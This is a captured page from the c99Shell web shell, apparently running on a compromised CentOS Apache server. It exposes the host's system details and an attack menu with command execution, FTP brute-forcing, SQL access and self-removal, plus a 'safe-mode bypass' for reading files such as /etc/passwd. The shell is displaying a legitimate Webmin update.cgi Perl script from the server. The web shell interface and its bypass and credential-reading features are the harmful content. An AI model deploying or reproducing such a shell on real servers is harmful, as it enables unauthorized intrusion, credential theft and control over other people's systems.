!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/cluster-usermin/   drwxr-xr-x
Free 49.59 GB of 127.8 GB (38.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     update.cgi (4.1 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# update.cgi
# Download and install needed updates on multiple servers

require './cluster-usermin-lib.pl';
&foreign_require("webmin", "webmin-lib.pl");
&ReadParse();
&error_setup($webmin::text{'update_err'});

# Fetch list of updates
($updates, $host, $port, $page, $ssl) = &webmin::fetch_updates(
    $in{'source'} == 0 ? $webmin::update_url : $in{'other'});

# Build list of selected hosts, and show them
@servers = &list_servers();
&ui_print_unbuffered_header(undef, $text{'update_title'}, "");
@hosts = &create_on_parse("update_header", undef, undef);

# Setup error handler for down hosts
sub inst_error
{
$inst_error_msg = join("", @_);
}
&remote_error_setup(\&inst_error);

# Run the update, on all hosts in parallel
$p = 0;
foreach $h (@hosts) {
    local ($s) = grep { $_->{'id'} == $h->{'id'} } @servers;
    $s || &error("Failed to find server for $h->{'id'}");

    local ($rh = "READ$p", $wh = "WRITE$p");
    pipe($rh, $wh);
    select($wh); $| = 1; select(STDOUT);
    if (!fork()) {
        # Do the install in a subprocess
        close($rh);

        &remote_foreign_require($s->{'host'}, "webmin",
                    "webmin-lib.pl");
        if ($inst_error_msg) {
            # Failed to contact host ..
            print $wh &serialise_variable($inst_error_msg);
            exit;
            }

        # Work out which modules are needed
        local @rv;
        local $bv = &remote_foreign_call(
            $s->{'host'}, "webmin",
            "get_webmin_base_version");
        foreach $u (@$updates) {
            local %minfo = &remote_foreign_call(
                $s->{'host'}, "webmin",
                "get_module_info", $u->[0]);
            local %tinfo = %minfo ? () :
                &remote_foreign_call(
                    $s->{'host'}, "webmin",
                    "get_theme_info", $u->[0]);
            local %info = %minfo ? %minfo : %tinfo;
            next if (($u->[1] >= $bv + .01 ||
                  $u->[1] < $bv) &&
                 (!%info || $info{'longdesc'} || !$in{'third'}));

            # Check if update is appropriate
            $count++;
            if (!%info && !$in{'missing'}) {
                push(@rv, &webmin::text('update_mmissing',
                              "<b>$u->[0]</b>"));
                next;
                }
            if (%info && $info{'version'} >= $u->[1]) {
                push(@rv, &webmin::text('update_malready',
                              "<b>$u->[0]</b>"));
                next;
                }
            local $osinfo = { 'os_support' => $u->[3] };
            if (!&check_os_support($osinfo)) {
                push(@rv, &webmin::text('update_mos',
                              "<b>$u->[0]</b>"));
                next;
                }

            if ($in{'show'}) {
                # Just send back info
                push(@rv, [ 0, @$u ]);
                }
            else {
                # Do the update!
                ($mhost, $mport, $mpage, $mssl) =
                    &parse_http_url($u->[2], $host, $port, $page, $ssl);
                $mtemp = &remote_foreign_call(
                    $s->{'host'}, "webmin", "tempname");
                local $err;
                &remote_foreign_call(
                    $s->{'host'}, "webmin",
                    "http_download", $mhost, $mport,
                    $mpage, $mtemp, \$err, undef, $mssl);
                if ($err) {
                    # Download failed
                    push(@rv, $err);
                    }
                else {
                    # Do the install
                    $irv = &remote_foreign_call(
                        $s->{'host'}, "webmin",
                        "install_webmin_module",
                        $mtemp, 1, 0,
                        [ $base_remote_user ]);
                    if (ref($irv)) {
                        push(@rv, [ 1, @$u ]);
                        }
                    else {
                        push(@rv, $irv);
                        }
                    }
                }
            }
        print $wh &serialise_variable(\@rv);
        close($wh);
        exit;
        }
    close($wh);
    $p++;
    }

# Get back all the results
$p = 0;
foreach $h (@hosts) {
    local $rh = "READ$p";
    local $line = <$rh>;
    close($rh);
    local $rv = &unserialise_variable($line);

    local ($s) = grep { $_->{'id'} == $h->{'id'} } @servers;
    local $d = &server_name($s);

    print &text('update_onhost', $d),"<br>\n";
    if (!$line) {
        print &text('update_failed', "Unknown reason"),"<p>\n";
        }
    elsif (!ref($rv)) {
        print &text('update_failed', $rv),"<p>\n";
        }
    elsif (!@$rv) {
        print &text('update_none', $rv),"<p>\n";
        }
    else {
        # Show list of modules
        print "<ul>\n";
        foreach $u (@$rv) {
            if (ref($u)) {
                # A module
                print &webmin::text($u->[0] ? 'update_mok' : 'update_mshow', "<b>$u->[1]</b>", "<b>$u->[2]</b>"),"<br>\n";
                print "&nbsp;&nbsp;&nbsp;$webmin::text{'update_fixes'} : $u->[5]<br>\n";
                }
            else {
                # Some message
                print $u,"<br>\n";
                }
            }
        print "</ul><p>\n";
        }
    $p++;
    }
print "<p><b>$text{'upgrade_done'}</b><p>\n";

&remote_finished();
&ui_print_footer("", $text{'index_return'});


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0225 ]--